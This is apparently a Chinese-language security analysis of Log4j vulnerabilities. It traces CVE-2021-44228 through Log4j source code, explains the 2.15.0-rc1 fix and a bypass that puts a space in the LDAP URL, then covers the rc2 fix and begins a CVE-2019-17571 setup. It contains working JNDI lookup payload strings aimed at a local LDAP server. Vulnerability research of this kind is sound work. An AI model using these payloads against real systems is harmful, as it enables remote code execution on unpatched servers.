概述 Log4j是一个用于Java应用程序的日志记录工具,它提供了灵活的日志记录配置和强大的日志记录功能。Log4j允许开发人员在应用程序中记录不同级别的日志消息,并将这些消息输出到不同的目标(例如控制台、文件、数据库等)。
Log4j的主要组件和概念如下 :
日志记录器(Logger):日志记录器是Log4j的核心组件。它负责接收应用程序中的日志消息并将其传递到适当的目标。每个日志记录器都有一个唯一的名称,开发人员可以根据需要创建多个日志记录器实例。
日志级别(Log Level):Log4j定义了不同的日志级别,用于标识日志消息的重要性和严重程度。常见的日志级别包括DEBUG、INFO、WARN、ERROR和FATAL。开发人员可以根据应用程序的需求选择适当的日志级别。
Appender:Appender用于确定日志消息的输出目标。Log4j提供了多种类型的Appender,例如ConsoleAppender(将日志消息输出到控制台)、FileAppender(将日志消息输出到文件)、DatabaseAppender(将日志消息保存到数据库)等。开发人员可以根据需要配置和使用适当的Appender。
日志布局(Layout):日志布局决定了日志消息在输出目标中的格式。Log4j提供了多种预定义的日志布局,例如简单的文本布局、HTML布局、JSON布局等。开发人员也可以自定义日志布局来满足特定的需求。
配置文件(Configuration File):Log4j的配置文件用于指定日志记录器、Appender、日志级别和日志布局等的配置信息。配置文件通常是一个XML文件或属性文件。通过配置文件,开发人员可以灵活地配置日志系统,包括定义日志记录器的层次结构、指定日志级别和输出目标等。
Log4j提供了丰富的功能和灵活的配置选项,使开发人员能够根据应用程序的需求进行高度定制的日志记录。它已经成为Java应用程序中最受欢迎和广泛使用的日志记录框架之一。
安全问题 参考apache log4j官方文档:https://logging.apache.org/log4j/2.x/security.html 特别关注2021年年底CVE-2021-44228
CVE-2021-44228分析 影响版本 2.0-beta9到2.14.1
测试环境 log4j-2.14.1 jdk1.8_66 maven依赖:
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.logging.log4j</groupId > <artifactId > log4j-core</artifactId > <version > 2.14.1</version > </dependency > <dependency > <groupId > org.apache.logging.log4j</groupId > <artifactId > log4j-api</artifactId > <version > 2.14.1</version > </dependency >
测试代码 1 2 3 4 5 6 7 8 9 10 11 12 package org.example;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class CVE202144228 { public static final Logger logger = LogManager.getLogger(CVE202144228.class); public static void main (String[] args) { String message = "${jndi:ldap://127.0.0.1:1389/0xrsto}" ; logger.error("error info:{}" ,message); } }
函数调用栈 根据JNDI的前置知识,在InitialContext类的lookup方法下断点或者NamingManager类的getObjectFactoryFromReference方法下断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 getObjectFactoryFromReference:163 , NamingManager (javax.naming.spi) getObjectInstance:189 , DirectoryManager (javax.naming.spi) c_lookup:1085 , LdapCtx (com.sun.jndi.ldap) p_lookup:542 , ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177 , PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url) lookup:94 , ldapURLContext (com.sun.jndi.url.ldap) lookup:417 , InitialContext (javax.naming) lookup:172 , JndiManager (org.apache.logging.log4j.core.net) lookup:56 , JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221 , Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110 , StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033 , StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912 , StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467 , StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132 , MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38 , PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344 , PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244 , PatternLayout (org.apache.logging.log4j.core.layout) encode:229 , PatternLayout (org.apache.logging.log4j.core.layout) encode:59 , PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197 , AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190 , AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181 , AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156 , AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129 , AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120 , AppenderControl (org.apache.logging.log4j.core.config) callAppender:84 , AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540 , LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498 , LoggerConfig (org.apache.logging.log4j.core.config) log:481 , LoggerConfig (org.apache.logging.log4j.core.config) log:456 , LoggerConfig (org.apache.logging.log4j.core.config) log:63 , DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161 , Logger (org.apache.logging.log4j.core) tryLogMessage:2205 , AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159 , AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142 , AbstractLogger (org.apache.logging.log4j.spi) logMessage:2034 , AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1899 , AbstractLogger (org.apache.logging.log4j.spi) error:866 , AbstractLogger (org.apache.logging.log4j.spi) main:10 , CVE202144228 (org.example)
详细分析 logger是一个Logger对象,调用error方法,由于Logger中没有error方法,会调用其父类AbstractLogger中的error方法
1 2 3 public void error (final String message, final Object p0) { logIfEnabled(FQCN, Level.ERROR, null , message, p0); }
继续调用父类AbstractLogger中的logIfEnabled方法,这里设置Level(日志级别)为ERROR
1 2 3 4 5 6 7 8 @Override public void logIfEnabled (final String fqcn, final Level level, final Marker marker, final String message, final Object p0) { if (isEnabled(level, marker, message, p0)) { logMessage(fqcn, level, marker, message, p0); } }
在logMessage方法中使用 messageFactory 创建一个 Message 对象,该对象表示包含消息和参数的格式化消息 中间的过程省略,来到Logger的log方法
1 2 3 4 5 6 7 8 9 10 11 12 13 @Override protected void log (final Level level, final Marker marker, final String fqcn, final StackTraceElement location, final Message message, final Throwable throwable) { final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy(); if (strategy instanceof LocationAwareReliabilityStrategy) { ((LocationAwareReliabilityStrategy) strategy).log(this , getName(), fqcn, location, marker, level, message, throwable); } else { strategy.log(this , getName(), fqcn, marker, level, message, throwable); } }
这些都是log4j底层下的东西,继续往后分析,跳过中间步骤 来到PatternLayout类的toSerializable方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @Override public StringBuilder toSerializable (final LogEvent event, final StringBuilder buffer) { final int len = formatters.length; for (int i = 0 ; i < len; i++) { formatters[i].format(event, buffer); } if (replace != null ) { String str = buffer.toString(); str = replace.format(str); buffer.setLength(0 ); buffer.append(str); } return buffer; }
代码断在i为8的时候,formatters[8]是一个MessagePatternConverter对象,调用其format方法
1 2 3 4 5 6 7 8 public void format (final LogEvent event, final StringBuilder buf) { if (skipFormattingInfo) { converter.format(event, buf); } else { formatWithInfo(event, buf); } }
这里的converter是MessagePatternConverter,调用其format方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 @Override public void format (final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) { final boolean doRender = textRenderer != null ; final StringBuilder workingBuilder = doRender ? new StringBuilder (80 ) : toAppendTo; final int offset = workingBuilder.length(); if (msg instanceof MultiFormatStringBuilderFormattable) { ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder); } else { ((StringBuilderFormattable) msg).formatTo(workingBuilder); } if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1 ; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1 ) == '{' ) { final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } } if (doRender) { textRenderer.render(workingBuilder, toAppendTo); } return ; } if (msg != null ) { String result; if (msg instanceof MultiformatMessage) { result = ((MultiformatMessage) msg).getFormattedMessage(formats); } else { result = msg.getFormattedMessage(); } if (result != null ) { toAppendTo.append(config != null && result.contains("${" ) ? config.getStrSubstitutor().replace(event, result) : result); } else { toAppendTo.append("null" ); } } }
在执行formatTo方法之前 执行完formatTo方法之后 也就是说msg的formatTo方法是一个格式化的过程,将格式化的内容添加到workingBuilder中,也就是将源代码中的message替换{} 接下来进入for循环,这里主要判断在workingBuilder中是否存在${}格式的占位符,如果存在,就调用config.getStrSubstitutor().replace(event, value)方法进行替换 首先进入config.getStrSubstitutor(),进入的是AbstractConfiguration类
1 2 3 4 @Override public StrSubstitutor getStrSubstitutor () { return subst; }
进入StrSubstitutor类的replace方法
1 2 3 4 5 6 7 8 9 10 11 12 public String replace (final LogEvent event, final String source) { if (source == null ) { return null ; } final StringBuilder buf = new StringBuilder (source); if (!substitute(event, buf, 0 , source.length())) { return source; } return buf.toString(); }
跳过中间的步骤来到StrSubstitutor类的substitute方法,这个方法用于多级插值的递归处理程序。这是主要的插值方法,用于解析传入文本中包含的所有变量引用的值。 这里有一个大的while循环,pos从0开始,从左到右遍历buf,chars的值为“error info:${jndi:ldap://127.0.0.1:1389/0xrsto}”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 while (pos < bufEnd) { final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); if (startMatchLen == 0 ) { pos++; } else if (pos > offset && chars[pos - 1 ] == escape) { buf.deleteCharAt(pos - 1 ); chars = getChars(buf); lengthChange--; altered = true ; bufEnd--; } else { .... } ... }
当pos为11的时候能够满足两个if条件(存在”${“),进入else else里面又存在一个while循环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 final int startPos = pos;pos += startMatchLen; int endMatchLen = 0 ;int nestedVarCount = 0 ;while (pos < bufEnd) { if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0 ) { nestedVarCount++; pos += endMatchLen; continue ; } endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd); if (endMatchLen == 0 ) { pos++; } else { ..... } .... }
这里是寻找后缀,即“}”,然后提取出中间的字符串“jndi:ldap://127.0.0.1:1389/0xrsto”,进入else中,进入这里 进入StrSubstitutor类resolveVariable方法
1 2 3 4 5 6 7 8 9 protected String resolveVariable (final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null ) { return null ; } return resolver.lookup(event, variableName); }
这个方法用于解析变量值的内部方法,进入Interpolator中的lookup方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @Override public String lookup (final LogEvent event, String var ) { if (var == null ) { return null ; } final int prefixPos = var .indexOf(PREFIX_SEPARATOR); if (prefixPos >= 0 ) { final String prefix = var .substring(0 , prefixPos).toLowerCase(Locale.US); final String name = var .substring(prefixPos + 1 ); final StrLookup lookup = strLookupMap.get(prefix); if (lookup instanceof ConfigurationAware) { ((ConfigurationAware) lookup).setConfiguration(configuration); } String value = null ; if (lookup != null ) { value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); } if (value != null ) { return value; } var = var .substring(prefixPos + 1 ); } if (defaultLookup != null ) { return event == null ? defaultLookup.lookup(var ) : defaultLookup.lookup(event, var ); } return null ; }
在strLookupMap中键名为”jndi”的值为JndiLookup对象,进入JndiLookup类的lookup方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Override public String lookup (final LogEvent event, final String key) { if (key == null ) { return null ; } final String jndiName = convertJndiName(key); try (final JndiManager jndiManager = JndiManager.getDefaultManager()) { return Objects.toString(jndiManager.lookup(jndiName), null ); } catch (final NamingException e) { LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}]." , jndiName, e); return null ; } }
进入JndiManager类的lookup方法 这里的context是InitialContext对象,调用其lookup方法,下面就是JNDI中的链了
代码关键点 三个关键点:
在PatternLayout类的toSerializable方法中,调用MessagePatternConverter的format方法,这个方法是一个格式化的过程,将格式化的内容添加到workingBuilder中,也就是将源代码中的message替换{},同时匹配字符串中是否存在${}占位符,并使用config.getStrSubstitutor().replace进行替换
在StrSubstitutor类的substitute方法中,提取${}中的内容,并调用StrSubstitutor类resolveVariable方法对其解析
在Interpolator类的lookup方法中,根据前缀在map中获取对应的StrLookup对象,然后调用其lookup方法,这里的前缀为jndi,所以获取的是JndiLookup对象,然后调用其lookup方法,这个方法调用了jndiManager.lookup方法
试试info方法 在StandardLevel类中定义了日志的级别,数值越低,优先级越高
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public enum StandardLevel { OFF(0 ), FATAL(100 ), ERROR(200 ), WARN(300 ), INFO(400 ), DEBUG(500 ), TRACE(600 ), ALL(Integer.MAX_VALUE); .... }
分析 : 首先进入AbstractLogger类的logIfEnabled方法,这个方法
1 2 3 4 5 6 7 8 @Override public void logIfEnabled (final String fqcn, final Level level, final Marker marker, final String message, final Object p0) { if (isEnabled(level, marker, message, p0)) { logMessage(fqcn, level, marker, message, p0); } }
跳过中间一步来到Logger类的filter方法 很显然返回的是false,从而在logIfEnabled中不会调用logMessage方法
问题:intLevel从哪里来的? 这里的intLevel是为200,默认等于ERROR等级,也就是说,在默认情况下,等级值小于ERROR等级的都会造成RCE
当然这个也能从配置文件中来 log4j的默认配置文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <Configuration status ="WARN" > <Appenders > <Console name ="Console" target ="SYSTEM_OUT" > <PatternLayout pattern ="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" /> </Console > </Appenders > <Loggers > <Root level ="error" > <AppenderRef ref ="Console" /> </Root > </Loggers > </Configuration >
现在将Root的level改为info
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <Configuration status ="WARN" > <Appenders > <Console name ="Console" target ="SYSTEM_OUT" > <PatternLayout pattern ="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" /> </Console > </Appenders > <Loggers > <Root level ="info" > <AppenderRef ref ="Console" /> </Root > </Loggers > </Configuration >
能够成功过这个条件,从而导致RCE 至于配置文件的加载来自于LogManager.getLogger(…),这里不再赘述
log4j-2.15.0-rc1分析 环境 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1 下载源码进行编译,测试中导入log4j-api-2.15.0和log4j-core-2.15.0即可
修复 2.15.0-rc1版本对前面存在的问题进行了修复,主要有以下:第一 : 对应前一节代码关键点的第一点,在toSerializable方法处调用的不再是MessagePatternConverter的format方法,而是SimpleMessagePatternConverter的format方法
查看SimpleMessagePatternConverter的format方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private static final class SimpleMessagePatternConverter extends MessagePatternConverter { private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter (); private SimpleMessagePatternConverter () { super (null ); } public void format (final LogEvent event, final StringBuilder toAppendTo) { Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) { ((StringBuilderFormattable)msg).formatTo(toAppendTo); } else if (msg != null ) { toAppendTo.append(msg.getFormattedMessage()); } } }
这里的SimpleMessagePatternConverter中的format方法没有解析”${“,而是将字符格式化后就结束,所以也没有后面的调用步骤
另外,对于MessagePatternConverter类创建了以下四个内部类:
SimpleMessagePatternConverter
FormattedMessagePatternConverter
LookupMessagePatternConverter
RenderingPatternConverter
默认情况下是会使用SimpleMessagePatternConverter进行处理,但是对于不同配置的情况下会使用对应配置的内部类进行处理
针对于rc1绕过的一点就来自于这里,LookupMessagePatternConverter会对”${“进行处理,而在配置文件中开启lookups就会使用LookupMessagePatternConverter内部类,这里后面会提到。而在这一版本中,lookups默认是不开启的,这也是与之前版本不同的一点
总结下来:第一点更新就是对MessagePatternConverter类进行了处理,并修改了format的逻辑,同时移除了从 Properties 中获取 Lookup 配置的选项,默认不开启lookup功能
第二 : 对应前一节代码关键点的第一点,这里在JndiManager类的lookup方法中进行了白名单限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public synchronized <T> T lookup (final String name) throws NamingException { try { URI uri = new URI (name); if (uri.getScheme() != null ) { if (!this .allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) { LOGGER.warn("Log4j JNDI does not allow protocol {}" , uri.getScheme()); return null ; } if ("ldap" .equalsIgnoreCase(uri.getScheme()) || "ldaps" .equalsIgnoreCase(uri.getScheme())) { if (!this .allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list" ); return null ; } Attributes attributes = this .context.getAttributes(name); if (attributes != null ) { Map<String, Attribute> attributeMap = new HashMap (); NamingEnumeration<? extends Attribute > enumeration = attributes.getAll(); Attribute classNameAttr; while (enumeration.hasMore()) { classNameAttr = (Attribute)enumeration.next(); attributeMap.put(classNameAttr.getID(), classNameAttr); } classNameAttr = (Attribute)attributeMap.get("javaClassName" ); if (attributeMap.get("javaSerializedData" ) != null ) { if (classNameAttr == null ) { LOGGER.warn("No class name provided for {}" , name); return null ; } String className = classNameAttr.get().toString(); if (!this .allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed" , className); return null ; } } else if (attributeMap.get("javaReferenceAddress" ) != null || attributeMap.get("javaFactory" ) != null ) { LOGGER.warn("Referenceable class is not allowed for {}" , name); return null ; } } } } } catch (URISyntaxException var8) { } return this .context.lookup(name); }
而这里jndiManager对象的构造来自于JndiLookup类中的lookup方法中的如下代码:
1 JndiManager jndiManager = JndiManager.getDefaultManager();
进入JndiManager类的getDefaultManager
1 2 3 public static JndiManager getDefaultManager () { return (JndiManager)getManager(JndiManager.class.getName(), FACTORY, (Object)null ); }
由于JndiManager中没有定义getManager,调用父类AbstractManager的getManager方法,观察下面这句
1 manager = (AbstractManager)factory.createManager(name, data);
此时的factory是JndiManagerFactory(JndiManager的内部类),进入其createManager方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public JndiManager createManager (final String name, final Properties data) { String hosts = data != null ? data.getProperty("allowedLdapHosts" ) : null ; String classes = data != null ? data.getProperty("allowedLdapClasses" ) : null ; String protocols = data != null ? data.getProperty("allowedJndiProtocols" ) : null ; List<String> allowedHosts = new ArrayList (); List<String> allowedClasses = new ArrayList (); List<String> allowedProtocols = new ArrayList (); this .addAll(hosts, allowedHosts, JndiManager.permanentAllowedHosts, "allowedLdapHosts" , data); this .addAll(classes, allowedClasses, JndiManager.permanentAllowedClasses, "allowedLdapClasses" , data); this .addAll(protocols, allowedProtocols, JndiManager.permanentAllowedProtocols, "allowedJndiProtocols" , data); try { return new JndiManager (name, new InitialDirContext (data), allowedHosts, allowedClasses, allowedProtocols); } catch (NamingException var10) { JndiManager.LOGGER.error("Error creating JNDI InitialContext." , var10); return null ; } }
总结: JndiManager 实例是由JndiManagerFactory来创建的,并且不再使用 InitialContext,而是使用 InitialDirContext。另外,在lookup方法中还加入的白名单逻辑判断
绕过 针对以上两点改进,同样存在神奇的绕过方式对于第一点 ,可以开启lookups功能,让其使用LookupMessagePatternConverter进行处理,这里的lookups默认是不开启的,所以需要手动开启 开启方式参考:https://logging.apache.org/log4j/2.x/manual/configuration.html#enabling-message-pattern-lookups
log4j2配置文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <Configuration status ="warn" name ="MyApp" packages ="" > <appenders > <console name ="STDOUT" target ="SYSTEM_OUT" > <PatternLayout pattern ="%msg{lookups}%n" /> </console > </appenders > <Loggers > <Root level ="error" > <AppenderRef ref ="STDOUT" /> </Root > </Loggers > </Configuration >
对于第二点 ,在JndiManager类的lookup方法中,最后捕获URISyntaxException异常的catch块没有进行如何处理及返回,这样还是能够执行到代码的最后一行 因此,只要触发URISyntaxException异常,就可以绕过,触发漏洞。触发异常的方式是在URL中加入一个空格
测试代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class RC1Bypass { public static final Logger logger = LogManager.getLogger(RC1Bypass.class); public static void main (String[] args) { logger.error("${jndi:ldap://127.0.0.1:9999/ test}" ); } }
并且构建一个LDAP reference服务,监听9999端口,具体代码参考marshalsec:https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
函数调用栈 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 getObjectFactoryFromReference:163 , NamingManager (javax.naming.spi) getObjectInstance:189 , DirectoryManager (javax.naming.spi) c_lookup:1085 , LdapCtx (com.sun.jndi.ldap) p_lookup:542 , ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177 , PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url) lookup:94 , ldapURLContext (com.sun.jndi.url.ldap) lookup:417 , InitialContext (javax.naming) lookup:257 , JndiManager (org.apache.logging.log4j.core.net) lookup:56 , JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221 , Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110 , StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033 , StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912 , StrSubstitutor (org.apache.logging.log4j.core.lookup) replaceIn:890 , StrSubstitutor (org.apache.logging.log4j.core.lookup) format:186 , MessagePatternConverter$LookupMessagePatternConverter (org.apache.logging.log4j.core.pattern) toSerializable:343 , PatternLayout$NoFormatPatternSerializer (org.apache.logging.log4j.core.layout) toText:241 , PatternLayout (org.apache.logging.log4j.core.layout) encode:226 , PatternLayout (org.apache.logging.log4j.core.layout) encode:60 , PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197 , AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190 , AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181 , AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:161 , AppenderControl (org.apache.logging.log4j.core.config) callAppender0:134 , AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:125 , AppenderControl (org.apache.logging.log4j.core.config) callAppender:89 , AppenderControl (org.apache.logging.log4j.core.config) callAppenders:542 , LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:500 , LoggerConfig (org.apache.logging.log4j.core.config) log:483 , LoggerConfig (org.apache.logging.log4j.core.config) log:417 , LoggerConfig (org.apache.logging.log4j.core.config) log:82 , AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config) log:161 , Logger (org.apache.logging.log4j.core) tryLogMessage:2205 , AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159 , AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142 , AbstractLogger (org.apache.logging.log4j.spi) logMessage:2017 , AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983 , AbstractLogger (org.apache.logging.log4j.spi) error:740 , AbstractLogger (org.apache.logging.log4j.spi) main:10 , RC1Bypass (org.example)
绕过分析 第一 : 首先在准备阶段,需要获取配置文件中的信息
1 public static final Logger logger = LogManager.getLogger(RC1Bypass.class);
跳过中间步骤,来到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static MessagePatternConverter newInstance (final Configuration config, final String[] options) { boolean lookups = loadLookups(options); String[] formats = withoutLookupOptions(options); TextRenderer textRenderer = loadMessageRenderer(formats); MessagePatternConverter result = formats != null && formats.length != 0 ? new FormattedMessagePatternConverter (formats) : MessagePatternConverter.SimpleMessagePatternConverter.INSTANCE; if (lookups && config != null ) { result = new LookupMessagePatternConverter ((MessagePatternConverter)result, config); } if (textRenderer != null ) { result = new RenderingPatternConverter ((MessagePatternConverter)result, textRenderer); } return (MessagePatternConverter)result; }
在MessagePatternConverter类的loadLookups中判断是否开启lookups
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private static boolean loadLookups (final String[] options) { if (options != null ) { String[] var1 = options; int var2 = options.length; for (int var3 = 0 ; var3 < var2; ++var3) { String option = var1[var3]; if ("lookups" .equalsIgnoreCase(option)) { return true ; } } } return false ; }
回到MessagePatternConverter实例化函数,由于lookups为true,所以构造LookupMessagePatternConverter
函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 loadLookups:53 , MessagePatternConverter (org.apache.logging.log4j.core.pattern) newInstance:89 , MessagePatternConverter (org.apache.logging.log4j.core.pattern) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) createConverter:590 , PatternParser (org.apache.logging.log4j.core.pattern) finalizeConverter:657 , PatternParser (org.apache.logging.log4j.core.pattern) parse:420 , PatternParser (org.apache.logging.log4j.core.pattern) parse:177 , PatternParser (org.apache.logging.log4j.core.pattern) build:474 , PatternLayout$SerializerBuilder (org.apache.logging.log4j.core.layout) <init>:140 , PatternLayout (org.apache.logging.log4j.core.layout) <init>:61 , PatternLayout (org.apache.logging.log4j.core.layout) build:770 , PatternLayout$Builder (org.apache.logging.log4j.core.layout) build:627 , PatternLayout$Builder (org.apache.logging.log4j.core.layout) build:122 , PluginBuilder (org.apache.logging.log4j.core.config.plugins.util) createPluginObject:1107 , AbstractConfiguration (org.apache.logging.log4j.core.config) createConfiguration:1032 , AbstractConfiguration (org.apache.logging.log4j.core.config) createConfiguration:1024 , AbstractConfiguration (org.apache.logging.log4j.core.config) createConfiguration:1024 , AbstractConfiguration (org.apache.logging.log4j.core.config) doConfigure:643 , AbstractConfiguration (org.apache.logging.log4j.core.config) initialize:243 , AbstractConfiguration (org.apache.logging.log4j.core.config) start:289 , AbstractConfiguration (org.apache.logging.log4j.core.config) setConfiguration:626 , LoggerContext (org.apache.logging.log4j.core) reconfigure:699 , LoggerContext (org.apache.logging.log4j.core) reconfigure:716 , LoggerContext (org.apache.logging.log4j.core) start:270 , LoggerContext (org.apache.logging.log4j.core) getContext:155 , Log4jContextFactory (org.apache.logging.log4j.core.impl) getContext:47 , Log4jContextFactory (org.apache.logging.log4j.core.impl) getContext:196 , LogManager (org.apache.logging.log4j) getLogger:599 , LogManager (org.apache.logging.log4j) <clinit>:7 , RC1Bypass (org.example)
观察这个函数调用能够得到如何解析配置文件的
第二 : 接下来进入到测试代码的主函数中,还是回到第一个关键点toSerializable方法,此时的convert是计划中的LookupMessagePatternConverter
进入LookupMessagePatternConverter的format方法,这里会寻找”${“,并且进行替换操作
1 2 3 4 5 6 7 8 9 10 11 12 public void format (final LogEvent event, final StringBuilder toAppendTo) { int start = toAppendTo.length(); this .delegate.format(event, toAppendTo); int indexOfSubstitution = toAppendTo.indexOf("${" , start); if (indexOfSubstitution >= 0 ) { this .config.getStrSubstitutor().replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution); } }
第三 : 跳过中间的步骤,来到JndiLookup的lookup方法处,获取JndiManager对象的操作前面已经讲了,接下来就是进入其lookup方法
1 var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null );
由于构造的URL中test前面存在空格,所以在解析下面代码中会报异常
1 URI uri = new URI (name);
然后执行最后的lookup操作,lookup会自动去掉空格,从而导致RCE
log4j-2.15.0-rc2分析 github commit地址:https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658
该commit修补了rc1带来的缺陷,在URISyntaxException异常的空缺块上加了return处理,这样就不会是使程序执行至最后一行
落幕 在2.15.0-rc2版本之后,还是出现过一些问题,如: 2.15.0-rc2版本包括之前的版本由于lookups功能能够导致DOS攻击(CVE-2021-45046)
在2.15.1-rc1中,默认禁用jndi 在2.16.0中,完全移除了lookup功能,修改了MessagePatternConverter实例化中的逻辑,并且删除了LookupMessagePatternConverter这个内部类
CVE-2019-17571 影响版本 1.2.4 <= Apache Log4j <= 1.2.17
SimpleSocketServer类 org.apache.log4j.net.SimpleSocketServer:该类是一个简单的基于 Socket 的日志消息接收服务器,用于接收远程 log4j 客户端发送的日志消息并将其记录到日志文件中。它监听指定的端口,等待客户端连接,并接收客户端发送的日志事件。
通过启动 SimpleSocketServer,可以在服务器上运行一个 log4j 服务器,接收来自远程客户端的日志消息。这对于集中式日志记录和日志集中化非常有用,特别是在分布式系统或基于网络的应用程序中。
使用 SimpleSocketServer 时,可以配置它的日志记录器、日志格式、日志文件路径等。
默认开启4560端口
成因 SimpleSocketServer.main会开启一个端口,接收客户端传输过来的数据并对其进行反序列化
测试环境 log4j-1.2.17.jar jdk1.8_66 1.2.17下载地址:https://archive.apache.org/dist/logging/log4j/ 或直接maven导入
1 2 3 4 5 <dependency > <groupId > log4j</groupId > <artifactId > log4j</artifactId > <version > 1.2.17</version > </dependency >
加入commons-collections3.1
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
